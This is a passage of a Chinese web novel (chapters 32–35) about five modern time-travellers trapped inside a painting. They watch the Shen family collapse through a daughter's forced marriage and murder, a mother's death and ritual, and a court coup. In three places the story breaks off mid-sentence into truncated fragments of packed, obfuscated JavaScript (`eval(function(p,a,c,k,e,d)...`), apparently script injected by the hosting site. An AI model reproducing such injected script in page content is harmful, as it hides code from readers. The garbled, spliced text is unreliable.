又过了几天,沈隽舟的伤势好了许多,余毒也已经清的差不多了。太医再来时,一面惊讶于伤者的愈合能力和体质,另一面还不忘多开几贴药促进养伤。 这几天里,后世来的五个人也大致弄清楚了回去的路数。 “古书上记载,陷入画囹中的人鲜有能逃出生天的。你的朋友们要想出来,得做到三件事,一是要陪画中人走过一段时间,至于这时间多长,我也不清楚;二是要在画中世界找到和他们来时一模一样的物件,具体是什么,只有你的朋友自己知道;三嘛,就是务必要保证他们在画里的这段时间,那副画不能有任何形式的损毁,否则,他们就会永生永世困在其中。” 明樾把这番话原模原样转达给了凌岓和姜泠。据她说,电话是洪钟师父接的,他只听了个大概,就料定众人是陷进了画囹之中。画囹是什么对方没多解释,但逃出去的方法倒说得还算明白。 “我们不会永远都出不去了吧。”曾宇听完,只注意到了那句“鲜有人能逃出生天”。 “我们自己知道?”沈径霜仔细回忆着在兰家看到的每一个东西,“一模一样的物件指的是什么?” “估计是有点年头的东西吧,首先排除那副画。”卫斯诚加入谈话,“我能想到的就是我妈盒子里的那根金钗,最多再加一个香。但问题是我们上哪儿找这些东西?光一个沈家就这么大,不好找啊。” “而且,陪画中人走过一段时间又怎么算?我们甚至不知道画里画的是人还是植物。走过一段时间是到什么时候?到画里的人寿终正寝?还是等他们大发慈悲发现我们的时候?”曾宇觉得按照这个思路,回去的可能性属实不算大。 “画中人说的应该就是沈青素。”凌岓开始挨个回答众人的问题,“斯诚说的没错,我们现在的关键是要找到那根古钗,香的话还得碰运气。” “一般只有女子才会用钗,所以基本可以排除沈家的男丁。”沈径霜也试着分析,“既然沈青素是关键,那么那根金钗应该也和她有关系吧。” “那块香能通阴阳,如果我没猜错的话,等到沈家有人去世的时候,那块香自然而然会出现的。”姜泠道。 讨论完后,几个人各自面向一边,想着心里的事。 又过了半个月,沈隽舟已经能下地四处溜达的时候,沈听玉奉旨被接到了宫中——和亲的日子快要到了。 这天,京城内外锣鼓喧天,城中百姓纷纷站在街上侧目。从宫门开始,仪仗队伍吹吹打打就没停过。 沈听玉离开京城的当天,官家的恩赏便赐了下来。同时下来的,还有一道圣旨:沈家上下除了沈大人外,皆不得前往城门口观礼送亲。 队伍出城的时候,沈夫人正强打着精神清点宫里送来的金银珠宝。最后她揉了揉眉头,倦怠满容地吩咐下人,“留下一担让公子小姐挑,其余的便入库吧。” 一顶马车驮着的花轿,一列卫队,再加上几十个仆从,这就是和亲队伍的全部人马了。队伍行至城门口,花轿的帘子被轻轻拨开了,里面的人看了又看,最终也没能看清站在城楼上送亲的沈大人是什么表情。 “我妈估计早已经报警了。” 凌岓优哉游哉地在沈府小花园里闲逛——三个月过去了,这里的季节已经由夏转冬,最初还焦急不已的五个人现在已经有了一种“既来之则安之”的好心态。 沈家人也有了不少变化。 几个孩子中,沈青素的身体慢慢好起来了,也不知是不是开始拜师练武的原因;沈隽舟好了以后又跟着韩老将军去了边关,许久都没来信;沈济也成熟了许多,不再像以前那样动不动就哭闹了。 沈夫人自沈听玉走了以后感染了一场风寒,身体每况愈下,一贴贴苦药吃下去,一点起色都没有。现在入了冬,情况更不好了。一大家子人中,只有沈大人变化不大,不过是鬓边多了几根白发。 “是啊,三个月了,我们还是没找到那根金钗。”只要不张嘴说话,卫斯诚现在还是很有古人作派的。 “好久没看见沈青素和那谁见面了。”凌岓看着天上“人”字形排开的大雁,突然想到这茬儿。 “谁啊?”卫斯诚好奇。 “她的一个朋友。”见过明樾的两个人始终恪守承诺,没有让卫斯诚知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怕是什么?”沈济一跺脚,急得要命。 “沈大人,可否借一步说话?”许太医头上有些冒汗,不敢直说。 “许太医,当着我这一双儿女的面,您但说无妨。” “夫人,怕是熬不过今岁这个冬天了。依许慎多年行医的经验来看,恐怕,大人您要提前做好准备了。” “什么叫提前做好准备?”在场众人都已明了许慎的言外之意,唯有沈济依然不愿相信,“做好什么准备?” “四公子,您…”许慎话还没说完,便被沈济一把揪住了袍领。 “做什么准备!我娘还喘着气呢!你现在在这儿报什么丧?” “不许胡闹!”沈大人厉声喝道,沈济这才慢慢松开许太医。 “许大人,我娘她…真的没有其他法子了吗?”沈青素压着眼泪说话,声音都变了。 “二小姐,老夫实在是无能为力了。”许慎低着头,也不知怎么安抚这一屋子沈家人的心情。 许慎刚离府没多久,沈夫人便渐渐醒转过来。她嘴里念叨着什么,似乎已经有些神智不清了。 “嫣儿,嫣儿你说什么?”沈靖把耳朵凑到发妻唇边,仔细听她说了什么。 “玉儿,玉儿…”孟嫣气若游丝,却还挂念着离家的长女,“我的玉儿…玉儿走了…” 沈济听不下去了,他奔到门外,满脸痛苦地抱住自己的头。 “唯民,我想…我想见见玉儿。”唯民是沈大人的字,那是他年少考取功名时心存的志向——一生为民,一生心里唯有苍生百姓。 “好,好。见玉儿,玉儿马上就回来了,我们马上就能见到玉儿了。”沈唯民轻轻抱住妻子,答应下她的请求。 “素素,你差人去一趟城南卖布的何家。”沈唯民把墨迹未干的信纸折好,放进信封里,“不,还是你带上家丁亲自去一趟。你把信交给何掌柜,他会明白的。” 看着女儿一脸不解,沈唯民又嘀咕了一句,“能不能再见你姐姐一面,全看这封信了。” 33. 第三十三章 祖师爷 城南何记布料庄门口,白天挂着两只发旧的红灯笼。到了晚上,红灯笼就变成了黄灯笼,两只就变成了一只。了解的人都知道,晚上的一只灯笼如果挂在右边,就代表何掌柜今夜看疑难杂症;如果这一只灯笼挂左边,就代表何掌柜今夜接的并非活人的单子。 沈家与何记来往得多,以往一入冬,沈夫人就要在何记订几匹新布料给家里人过年用。是以沈青素带着两三个家丁距离何记还有段距离时,何掌柜正嘱咐小厮换灯笼,老远就认出了沈府的车马。 “沈二小姐,这个时辰了,您怎么…” “何掌柜,幸好您在。”来人定了定神,不等何掌柜招呼她进门,就把揣在怀里捂热的信递给他,“我爹,我爹让我把这封信交到您手上,说您看了就会明白的。” 何照渠见眼前的姑娘着急上火的样子,赶紧拆开信来看。读完信后,他把信折好塞回信封里,又拍了拍刚把灯笼挂好的小厮,“小五,把灯笼取下来吧,今晚不挂了。” “沈二小姐且等片刻,我去去便来。” 何照渠说话算话,走进铺子里没多久就提着一个木箱子出来了。 “走吧二小姐,我跟您去趟沈府。” 车马到了沈府门口,何照渠比沈青素的动作还快,不等马车停稳便蹦下了车。 沈青素去请何照渠也不过两炷香的时间,偏偏就在这段时间里,沈夫人又呕了几次血,现下情况更差了。 “唯民兄,我来迟了!”何照渠一拱拳,只看了一眼沈夫人的样子便打开了箱子。 “贤弟可有把握?”沈唯民握着发妻无力的手,眼中既有期盼,亦有担忧。 “八九不离十。” 木箱子里放着五根白蜡烛,一面镂空雕花铜镜,一个红绳系着的金铃铛,还有一个青瓷裂纹香炉。 “唯民兄,家里人可要回避?”何照渠叮铃咣啷忙活了一阵,手托着那个青瓷香炉问。 “回避什么?”沈济一直蹲在门外,一听这话,赶紧冲进来,“什么天大的事儿到这个时候了还要让我们这些至亲回避?” 沈大人瞪了沈济一眼,缓缓道,“事到如今,也没什么好回避的。贤弟要做什么,但做无妨。” “这个味道,是兰家那块生犀角香的味道。” 香炉中飘出细细的紫烟,姜泠很快就闻出了里面的香正是他们要找的那块。 “还真是。”凌岓也闻出了这种熟悉的味道,“看来我们离回去也不会太久了。” 五根白蜡烛在东西南北中五个方位各点了一支。红线的一端系在沈夫人右手腕上,另一端则穿过铜镜上方的小孔,绑了个结。 “唯民兄,大小姐贴身的物件可还有?” “姐姐走的时候,把所有能带走的东西都带走了;带不走的,大多都已经烧毁了,应该没有什么贴身的物件了。”沈济先父亲一步答道。 “那就不好办了。”何照渠闻言,皱起眉思索着别的方法,却被打断了思路。 “有!”沈青素突然叫了一声,“姐姐的银锁!姐姐走的时候,把她一直戴着的银锁给我了!” 说着,她将脖子上的锁摘下来递给何照渠,“何掌柜,您看这个行吗?” “当然!若是大小姐打小就贴身戴着的,自是最上乘的!” 接过银锁的人将锁叩在红绳的最中间,看上去刚好把床上的人和铜镜连了起来。 随后,何照渠从衣袖中取出一根白色的簪子,用簪子尖锐的那头刺破了沈夫人右手中指的指尖。再将沈夫人的右手高高举起来,指尖血便顺着红绳穿过了银锁,一直漫延到了铜镜那头。 不消多时,银锁便开始晃动起来,跟着,铜镜中突然闪过许多场景,最后画面定格在沈听玉那支和亲队伍出城的当天。 “玉儿,我看见玉儿了。”沈夫人微微睁开眼,两滴浊泪顺着眼角流到耳边。 沈唯民听见声音,赶忙将妻子撑起来,以让她看到那面铜镜。 镜子里的沈听玉很漂亮——她穿着红素罗大袖段、销金长裙,头上戴着一顶蓝色的凤衔莲花珠翠团冠,两只耳边各挂着一颗白玉耳坠,一双细腕上则一只圈着雕凤金镯,另一只戴着水头极好的碧绿翡翠镯。 如果不是远嫁离朝,这身贵气打扮的人本该是高兴的。可镜中人的眼眶中常噙着泪花,每走几步就要回头看一眼来时路。 画面一闪,镜中人背后已经不再是中原景色了。风沙漫天,盖住了原本还能看出绿色的广袤草原。从前身着汉服的姑娘虽然换上了异族服饰,却仍能从面容和气质上看出她不属于这里。 三个月说长也长,说短也短。对远嫁的女儿和牵挂她的人而言,三个月长于三秋;对两个国家而言,三个月不过瞬息。 镜中的画面流水般闪过,镜外人却无比煎熬地看完了和亲远嫁的“公主”是如何草草结束了她短暂的一生。 母女连心,孟嫣说的一点儿不错——她的女儿沈听玉当然不是因为染了病才去世的。她是被名义上的“丈夫”,那位年长她几十岁的异国君主逼着喝下鸩酒身亡的。 沈家几个孩子都生得好看,沈听玉也不例外。原先唇红齿白的年轻姑娘,转眼之间便成了面色青黑又狰狞、七窍流血、无法瞑目的凄惨模样。至此,任谁都难再正视这样的画面,连后世来的几个人都捏紧了拳头愤愤不平,更何况承受着锥心之痛的骨肉血亲? 孟嫣的眼泪几乎要流尽了,两绺碎发湿湿贴在她的额前,似乎和它们的主人一样痛苦。 “我梦里那个芝则旅馆里的女鬼原来是她。”看见沈听玉去世时的样子,卫斯诚立刻想起那个噩梦。 “怪不得她的样子那么吓人,原来是因为死不瞑目啊。”了解了前因后果,卫斯诚也不觉得噩梦里的女人恐怖了,他如今反倒是心生怜悯,可怜这个姑娘生不逢时。 银锁不再晃动了,铜镜中的画面消失,汇聚成了一束金色的光,照在孟嫣的病榻前。 这下不止孟嫣,屋中的其他人也瞪大了双眼——光束所照处,是沈听玉真真切切地站在了母亲床前,身上还穿着出嫁那天的喜服。 “娘,玉儿来看您了。”回家的女儿代替父亲握紧母亲的手,脸上挂着极其温柔的笑容。 “玉儿受苦了。”孟嫣一只手轻轻回握住女儿,另一只手颤颤巍巍地轻抚着眼前人的面颊,“回来了就好,回来了就好。” “玉儿不怕,娘很快就去陪你了。有娘保护你,我的玉儿就不会再受人戕害了。”说这句话时,孟嫣已经只剩出的气,没有进的气了。 沈听玉离世时没流出来的眼泪现在滴到了母亲手背上,她静静看着病榻上的人一点一点没了气息,又静静看着自己的身躯化作千万个光点散在吹进来的凉风里,不曾多留一句话。 “姐姐!” “娘!” 一时间,沈家剩下的三个人哭作一片,屋子里的悲痛蔓延到了整个沈府。 青瓷香炉里的烟灭了,银锁落地铜镜碎,何照渠蹲在地上盯着碎片看了半天,兀自叹了口气,“劫数啊,是天道注定的劫数。” “照渠留步。”沈唯民看见何照渠收起碎片,缓步行至门口时,才从丧妻丧女的悲痛中缓过一点神来,“今日多谢渠弟了。只是贤弟看见了,家中近日丧事不断,唯民也不便上门拜谢。渠弟稍歇片刻,愚兄遣人取些银两过来,权当是聊表谢意了。” “兄长说的这是哪里的话!”何照渠把木箱子放到地上,一脸沉重,“嫂夫人与内子素来交好,今日能帮上兄长和嫂夫人的忙实乃我之幸事,何来谢意一说?” “只是兄长,照渠还有一事不明,不知可否请兄长解惑?” “贤弟请讲。”沈唯民揩了揩泪,强打起精神。 “恕弟冒昧,兄长家中大姑娘的遗骨现在何处?”何照渠踌躇了一番,接着说道,“不知可否得到了妥善安置?” 沈唯民闻言,哀怨着叹了口气,摇了摇头答道,“狄国只差人送来一封奏折。玉儿逝世,还是我家阿舟给家里递的消息。据隽舟所言,他们趁夜潜入狄国,只见到玉儿被草席殓着。待到他们次日再探狄国的时候,玉儿的遗体已不知所踪了。” “竟是如此!这帮天杀的蛮子!”饶是何照渠见过不少世面,也难免气愤。 “兄长放心,若是到了时候,愚弟必定不惜一切代价寻得你家大姑娘的遗骨。无论如何也要让姑娘安安心心地落葬。”说罢,何照渠坚决不要银两,宽慰了沈唯民几句后便拎着他的木箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“诸位请,东家就在院儿里。”一行人被挂灯笼的小厮引至布庄后面的小院。 晚风习习,院子里有一小片竹林,竹林后面藏着一个小凉亭。凉亭桌子上摆着一方茶台,六个茶杯;桌子旁放着一只滋滋作响的水壶。 “恭候多时了。”何照渠眼睛都不抬,专心致志给五只茶杯都添上了热茶,“站着做什么,请坐吧。” 姜泠也不多客气,她径直坐下之后,另外四人才跟着落座。 “后生小辈来此作甚?”何掌柜添完茶,开始慢条斯理地盘手里的核桃。 “晚辈受人所托,寻一幅画。画是找到了,我们也被困在了画中。”姜泠答得简短,却说明白了他们的处境。 “哦,你是说,我是画中人,此处也并非实在?” “那倒不是,想来那副画也只是让我们来到画中的年代罢了。” “你们待在唯民兄府上,可是因为这幅画的缘故?” “是!”卫斯诚抢答,“那副画里的人可能是沈青素,我们只要能拿到她手里的一支金钗和您手里的生犀香就能回去了。” “你倒坦诚。”何照渠冷笑了一声,“黄口小儿可知这生犀香是什么东西?岂可随便交托他人?” “生犀香可通阴阳,亦是您作为骨医为死者寻骨、为生者补缺的利器。”回答完何掌柜的问题,姜泠又继续说道,“这生犀香十分珍贵,不仅要用到大量的犀角,还要用到失传已久的炼香工艺。再加上您拿的这一块里面还有人骨,更是难得。” “你这女娃娃有意思。”何照渠的脸色由阴转阳,接着又伸手捏住了姜泠的手腕,“怪不得知道的这么清楚,原来是同道中人。” “严格来说,姜泠应该叫您一声祖师爷才对。”姜泠不冷不热。 “我可不是我们这行的祖师爷。”何照渠下意识推辞,紧接着又反应过来,“啧,你莫不是说我以后会收一个徒儿,而你是我徒儿的徒儿?” “正是。” “原来如此,那既是一家人,便没什么不能说的了。”何照渠把脚下的木箱子提到石桌上,乐呵着推给姜泠,“这生犀香的炼香手艺是我寻了十几年的古本才寻得的,我一共炼了五块,你们今日所见的不过是其中之一。余下那几个完整的我是不能轻易赠出去,沈府没用完的那块我倒是可以交予你们。” 大约是没想到何照渠给的这么爽快,几个人面面相觑,反倒不好碰那箱子。 34. 第三十四章 “娃娃,跟我讲讲我那徒弟是个什么样的人?”何掌柜兴致勃勃地问,还没等对方回答又反悔,“罢了罢了,不必告诉我,不然真到了收徒的时候,受影响可就不好了。” “您特意在此等我们上门,除了想知道我们所求为何之外,还想问我们什么?”姜泠收下生犀香,又觉得事情进展得过于顺利。 “你们未登门以前,我老何还以为你们是哪儿的孤魂野鬼要害人。如今真相大白,倒是我老何想错了。”说罢,何照渠又说,“既然是我的徒子徒孙,那我还是要奉劝你们,早点回去吧。再过几日,这天下就不太平了,你们若还困在此处,只怕就没有现在这么好的时候了。” “您能预知后事?”凌岓颇感诧异。 “非也非也。”何照渠背手起身,来回踱步,“沈家大姑娘为何暴毙?无非是狄国不安于几日的太平,想找个由头进犯我朝边疆罢了。” “只是可怜那沈大姑娘,只三个月便香消玉殒,连埋骨何处都不为人知。” “我如今奉劝你们,也并非是瞧不上你们。看你们的样子,想来也不曾经历过战乱灾祸,故而也定然不知道乱世的厉害。你们现下如不能早些回去,只怕是战火烧过来时,你们这五个人都未必能再凑到一处。” “那我们要怎么感谢您?”沈径霜问。 “感谢?”何照渠被几个年轻人的稚气逗笑了,“相逢即是缘,可世间万物皆有自己遵循下去的道。我与你们今日一见,是缘分亦是纠葛,须知纠缠越多,你们对这里造成的影响就会越大。不属于这里的人造成了本不该有的影响可不是什么闹着玩的事情。” “正如方才,若是这女娃娃告诉我那将来的徒儿姓甚名谁长什么模样的话,只怕我真见着他时,就未必会收他为徒了。”何照渠摆摆手,“既然你们并未心存恶念,那也无需多谢。你们早些回去,少插手这里的事情便是对我最大的回馈。” 从何记布庄出来,凌岓甚至还有些懵——他还是不敢相信何照渠竟然只因为姜泠一句“祖师爷”就把生犀香给他们。 “无商不奸,无商不奸。”曾宇歪着头反复咂摸着刚刚发生的事情,“你们说这个何掌柜不会是另有所图吧。” “我们有什么可图的?”凌岓反问,“一没钱二没色,饭都吃不进嘴里的穿越人,图啥?” “他无非是想让我们早点回到本来的世界里。”姜泠说。 “我也这么觉得。”沈径霜点点头表示赞同,“他大概知道穿越是什么,所以不希望我们改变这里的历史进程。” “但我们又能改变什么呢?”卫斯诚接道,“我们就算真想改变什么,那也是螳臂挡车,不自量力。” “蝴蝶效应吧。”看着半圆的月亮,凌岓完全理解何照渠心中所想,“就像他说的,如果因为我们说了什么,他之后就不收徒了,那我们回到原来的世界以后,姜泠和你还会认识吗?我们还会认识吗?你我不经意的一句话如果会改变一个人的决定,那这也算一种影响。” “照这么说,我们那天救沈隽舟岂不也是改变历史进程?”曾宇更不解了,要说什么都不做也不现实,他们分明已经做了什么。 “你中学政治怎么学的?”卫斯诚白了他一眼,“历史的大方向是不为人意志所转移的!我们就算影响,也是影响个人命运,大方向确实还是难了点。” 寒风凛冽,一行人回到沈府时,阖府上下都已经挂上了白布和白灯笼。孟嫣的灵堂设在堂屋中,一口黑漆漆的棺材停在屋子正中,叫人心生无限哀伤。 三个月前的龙凤花烛变成了一根根青白的丧烛,再加上沈隽舟赶不回来,几个月前还热热闹闹的一大家子现在亦只剩下三个戴孝的人。 许是孟嫣的离世带给两个孩子莫大的打击,也许是在整理母亲遗物时,看到了母亲一早留下的绝笔信。总之,前后不过几个时辰的时间,跪在灵堂前的沈家姐弟看起来更沉稳了许多。 再晚一些,第一场冬雪飘飘扬扬落下来了。戴孝的人站在檐下,不一会儿就被风雪染白了头发。沈唯民的帖子被小厮派到了各同僚家中,不一会儿,就有朝中大臣陆续赶来。 “节哀,节哀。”先来的是几个穿着官服的文臣,他们一面安慰着沈唯民,一面还不忘在闲暇时候相互聊一聊最近的局势。 随后,几个朝中武将也到了。这其中,就有姜泠等人第一天来时在沈府门口见到的中年人。 “唯民兄节哀,只当嫂嫂解脱了罢。”韩老将军的胡子已经有些发白了,可仍然精神矍铄。他带着同为习武之人的妻子前来拜祭,恭恭敬敬地在灵堂的香炉上敬了三炷香。 “子希,不是说官家临时召见你吗?怎的你这个时候就来了?”沈唯民这几日已是心力交瘁,但对于朝中动向还是一清二楚。 “说来话长,圣上是传了旨意召见我等。可听说狄国来了使臣,官家如今想必正在召见他们。”韩老将军暗暗往角落里挪了挪,又道,“唯民兄,可否借一步说话?” “听闻安阳公主薨逝,狄国趁此机会欲大举进犯。今日早朝时,听陛下那意思,莫非是要御驾亲征?” “这谁知道呢!现下能调遣的均已调往各处了,京中除了韩老将军和郑国公可堪大用,还有谁能扛起这打仗的担子?” “诶,郑国公若是再少上二十岁还好说。你们难道都没听说吗?自角木堡一战受伤以后,郑国公就大不如从前了。” “你说的这个我也早有耳闻。我还听说,郑国公近日旧疾复发,只怕也难以再长途行军了。” …… 灵堂变朝堂,前来祭奠的一众大臣你一言我一语地讨论着最近传入他们耳朵里的消息,好不热闹。 起初,沈济还存了些速速送客的心思,可当这些话渐渐进了耳朵以后,他也不禁担心起来。 韩老将军和沈唯民的“耳语”说完了,他拱手告别,只剩下沈唯民一脸凝重地站在原地。 没多久,孟嫣母家的兄长亲戚也来了,灵堂里顿时哀哀戚戚哭成一片。 “玉儿的事情,我倒是听说了。”开口说话的是孟嫣的堂兄。 从画外来的众人直至今天才知道,原来孟嫣的堂兄孟伯迁是当朝国舅爷。孟家一家也并非等闲之辈。 “看这架势,马上就要变天了。依我看,妹夫你应当先将家里的大大小小安置妥帖,再论朝堂上的事情。” “覆巢之下焉有完卵?”沈唯民面露难色,“若真是到了京城陷落的地步,这普天之下又哪里还有避祸的净土?” “诶,此言差矣。”孟伯迁看着跪在堂前的姐弟二人,小声说,“边疆战火一旦又起,烧过来无非眨眼的功夫。隽舟守在边疆,能自保就不错了。玉儿如今已仙去了,你与我妹妹只剩下素素一个女儿,何况小济尚不足以独当一面。现在不做打算,到时候可就来不及了!” “听舅兄的意思,想必已经有了打算?”沈唯民问。 “那是自然。”国舅爷一脸胸有成竹的样子,“嫣儿丧事之后,就叫我这两个外甥外甥女住到孟家去。江南自古就是富庶之地,我早已打点妥当了。只待时机一到,素素和小济随着孟家南迁便是了。” “那唯民在此,先谢过舅兄美意。”沈唯民行了一个官礼。 “一家人何出此言!”孟伯迁连忙扶起自己的妹夫,却不想这番话全叫跪着的姐弟俩听去了。 夜色渐浓,沈青素和沈济送完一堂客人之后,轻轻敲响了沈唯民的书房门。 “不在你娘那里守灵,怎么跑这儿来了?”沈唯民正仔细看着一张牛皮地图,听到两双脚步声在面前停下,这才抬起头。 “孩儿有事想同爹爹商量。”沈青素站得更近,也最先开口。 “你们俩,是为同一件事而来?” “是。” “那便说吧。” “母亲落葬之后,孩儿和弟弟不去舅舅家。” 沈唯民正打算把地图卷起来,听到这句话,一个没留神将地图蹭到了地上,“你们都听到了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我这几天越来越觉得这地儿真要打仗了。”曾宇被外面的气氛所感染,也开始忧愁起来,“金钗啊金钗,你到底在哪儿啊!” “没有金钗,这块香就是其他人以后能见我们的工具了。这也挺好的,还能体验一波吓人的感觉。”焦虑过了就是淡定,卫斯诚现在已经淡定得过了头。 “希望他们会给央拉找个能好好照顾她的人。”沈径霜双手托着脸,鼓起腮帮子,语气说不上豁达,“我现在终于知道为什么说没几个人能从画里出去了。要找的东西找不到,再碰上战乱,那就只能困死在这儿了。” “好啦别灰心。”姜泠破天荒安慰人,“好事多磨,说不定金钗就在关键时刻出现呢?越到这个时候我们越不能自暴自弃,别说丧气话啦。” “我同意!俗话说得好,‘不经历风雨,怎么见彩虹’~”一直不发表意见的凌岓突然唱出一句歌词,把其他几人成功逗笑了,颓丧的阴霾便也跟着一扫而光。 转眼到了岁末,狄国的动作远比京中众人预想得要快——从十二月初开始,边疆就战事不断。连着好几场败仗下来,朝堂上的气氛已是压抑到了顶点。 战争必然以大量补给开销为代价,这让本就空虚的国库更是雪上加霜,增了几次税后,百姓民不聊生,京城周围的几个县开始涌入难民——民间也早已怨声载道。 “眼下边疆战事吃紧,狄国的军队势如破竹,仅仅一个月,竟连取我十二座城池!” 最新的一封塘报递来,高坐龙椅上的君主终于按耐不住要御驾亲征了。年轻的君王钦点韩老将军率麾下骑兵同往,消息传到战场,又勉强鼓舞了些士气。 然而,没有天赋、上位不久又经验不足这些词语叠加在一起,对于一个君王而言并不算什么好事。御驾亲征的君主刚刚抵达边境不过十日,便传来了失踪的消息。登时,朝野内外大乱,各个地方的势力迭起——还不等狄国逼近,京中已经不攻自破。 元旦前后,先是太子抱恙,闭门不出;又是御史夏平在下朝回府的途中遇袭身亡;接着,自诩正统的容亲王强行代理国事,大批言官被他下了大狱,就连孟家国舅爷孟伯迁也未能幸免。一时间,朝中众人皆自顾不暇,生怕哪天这场祸事就会牵连到自己。 就在孟伯迁下狱当日,孟家计划南迁时,沈隽舟战死的消息和一道“代为传达”的旨意一同传来,孟家因此未能顺利迁行,连带着沈家也一同遭了祸。 35. 第三十五章 旨意上写了什么不得而知,沈青素和沈济只知道,那道圣旨传下来的第二天,父亲便被容亲王召见。回来时,沈唯民面色惨白,连呼三声“贼人窃国”后,便悬颈而亡。 一根横梁,三尺白绫。在这乱世中还能变卖家产为周边各县的难民发赈济粮、搭棚藏身的沈大人就这么过世了。 又过了三日,太子暴毙,孟皇后因悲伤过度触柱而亡。皇宫里的两个人尸骨未寒,当天下午,孟皇后母家便因通敌叛国之罪落得满门抄斩的下场。孟伯迁的夫人林氏早有预感,因而提前将年仅五岁的幼子孟稚托付给了沈青素姐弟。 太子一死,容亲王便名正言顺地继了位。他下旨将孟伯迁和孟家被抄斩的众人挂在城门上,不准任何人求情,亦不准任何人为其收尸,以此昭示百官百姓不得通敌。 城门口委派了重兵把守,沈青素姐弟只好裹得严严实实,带着孟稚远远地看一眼故去的亲人。孟稚尚且年幼,还不能明白家中此番变故意味着什么,只是当他看到闭着眼的父亲时,“哇”地一声哭了出来,吓得他身边的人忙忙带他离开。 孟家上上下下加上丫鬟仆人有几十多口人,一夜之间全都没了。沈家姐弟找不齐人名,就在凌晨宵禁时偷偷翻进孟府给逝者烧些纸钱过去。久而久之,孟府闹鬼的消息传出来,孟家便彻底成了一座荒宅。 这些事情发生的时候,明樾一直都没有再出现。穿越来的一行人也莫名其妙丧失了触碰物件的能力。 换言之,最后这几个月中,姜泠等人只能作为旁观者,眼睁睁看着惨剧发生,就连给何照渠通风报信的机会都没有——在皇帝失踪消息传来的当天,何记布庄就毫无预兆地倒闭了,里面的人也都不知所踪。 亲人皆已不在,沈家姐弟也没了当初那份和父亲一起死守京城的心思。又或者说,死守京城的前提是狄国打过来,可现今,自己人搅局,也就没什么守城的必要了。再加上林氏托孤,姐弟二人当即便决定南下,带着孟家唯一的血脉避祸。 “来日方长,我沈济迟早会杀回来要了这个乱臣贼子的狗命!”沈家宗祠里摆着沈、孟两家的牌位,因为不好携带,只能原样留在这里。沈唯民和孟嫣仅剩的一双儿女在祠堂中长跪不起,直到把头磕得乌青才算作罢。 跟着两人南下之时,凌岓终于看见了那支和明樾手中一模一样的鎏金錾花钿头钗。金钗从沈青素的妆奁中取出来,被放进了包袱中。包袱被她贴身带着,没有留给旁人任何触摸的机会。 “要知道这玩意儿就藏在她的首饰盒里,我们早就应该拿到了!”曾宇懊悔不已,“现在好了,我们都碰不到这东西了,彻底完了个蛋。” “见机行事,见机行事嘛。”卫斯诚盯了包袱好久,还是没能找到下手的机会。 沈家兄妹带着一个年幼的孟稚,揣着典当变卖家中剩余的首饰财帛换来的银两,由陆路转水路再转陆路,这才终于到了江南。 孟伯迁说的没错,江南到现在仍是一副太平景象。没有战乱、没有朝堂纷争,只有走街串巷的小贩和婉转细腻的水乡小调。 “照这个花法,再多银子也是坐吃山空。我们得尽快找份工干,顺便借着这机会打听打听舅舅说的那家人。” 自踏上南下的路途以来,沈青素就扛起了管家和照顾弟弟们的担子。遣散家丁、渡船雇车都需要钱。一路来,尽管她舍不得吃舍不得喝,却也尽可能地满足两个弟弟的要求。以至于到了水乡时,三个人已经不剩太多银两了。 原本世家大族的小姐落到如此境地,叫人看了难免唏嘘不已。 “姐姐,我想吃那个——”孟稚看见了街边捏成动物模样的糖人,心里喜欢得紧。 “稚弟,咱们先去客栈安顿下来再来买这糖人好不好?”尽管沈济也没多大,可有了比他更小的人,他就自然学会替姐姐打算了。 “小济,你带阿稚先住下。姐姐出去看看,看能不能寻到好些的差事。总住客栈终归不是什么好办法,还得自己有份稳定的差事才能站得住脚跟。” 沈青素犹豫了一下,又往沈济手里塞了些碎银子,“今日你们再买些自己爱吃的,不然等今日过了,我们或许就要有些苦日子了。” “姐!”沈济叫住她,“我同你一道去吧,我是男子,男子找工也跟方便些。” “小济,你还太小了。”沈青素摸了摸弟弟的头,“你只需要帮姐姐照看好阿稚便足够了。阿稚是舅舅家里唯一的孩子了,我们一定不能让他出分毫差错。” 沈济想了想,答应了姐姐。 水乡景美,能找到的差事也多。大半天过去,沈青素便能在教师、女账房和酒楼帮厨这几份差事中做决定。 一位当地的员外郎想给自己家的女儿们找几个靠谱的礼仪先生,听闻沈青素是京中官宦人家的女儿,便想要请她作指导。沈青素从小泡在药罐子里长大,父母怕她郁郁不快,便三不五时地聘些诗书礼仪方面的老师来教她,这份差事对她而言可以说是得心应手。问题在于员外家离他们住的客栈太远,周围可供租赁的房屋又太贵,权衡之下,沈青素还是决定姑且放弃这份工作。 酒楼帮厨的好处在于离客栈近,老板人也是个好说话的。可给的工钱太少,还不足以支付沈家姐弟和孟稚的住宿费用。沈青素便也只好把这份工作搁置一边。 剩下一个账房的职位倒是甚得她意——工作的地点在一个茶水铺子里,铺子老板也是个女人。除了工钱给的高之外,铺子老板还愿意从自家房子里腾出一间给沈青素三人居住。 “我就睡账房,两个弟弟睡一间,那还能省下一笔住宿钱。”她想了半天,欣然应下账房的差事。 在茶水铺子中干了一段时间,沈青素觉得收获颇丰——老板方荷是个雷厉风行又能干的女人,做生意时她对自己和伙计的要求不少,可关上门,她又是这个铺子中最善解人意的大姐。跟着她,沈青素不仅学到不少做生意的本领,还能把一些事情看得更为通透。 转眼间就到了年关,方荷给铺子里的每个伙计都包了一个厚厚的红包,还不忘祝那些回家的人们新年好。知道沈家三姐弟是从北边来的,在这里也没什么亲朋好友,方荷决定亲自做一桌好菜,和他们一同吃上一顿年夜饭。 “谢谢您这几日的关照。”在这顿饭之前,沈青素连酒的滋味都不曾尝过,现下却率先端着杯子,将里面的白酒一饮而尽。 “看不出来,妹妹好酒量啊!”方荷也是个爽快人,同样将自己杯子里的酒一口气喝尽,一滴不剩。 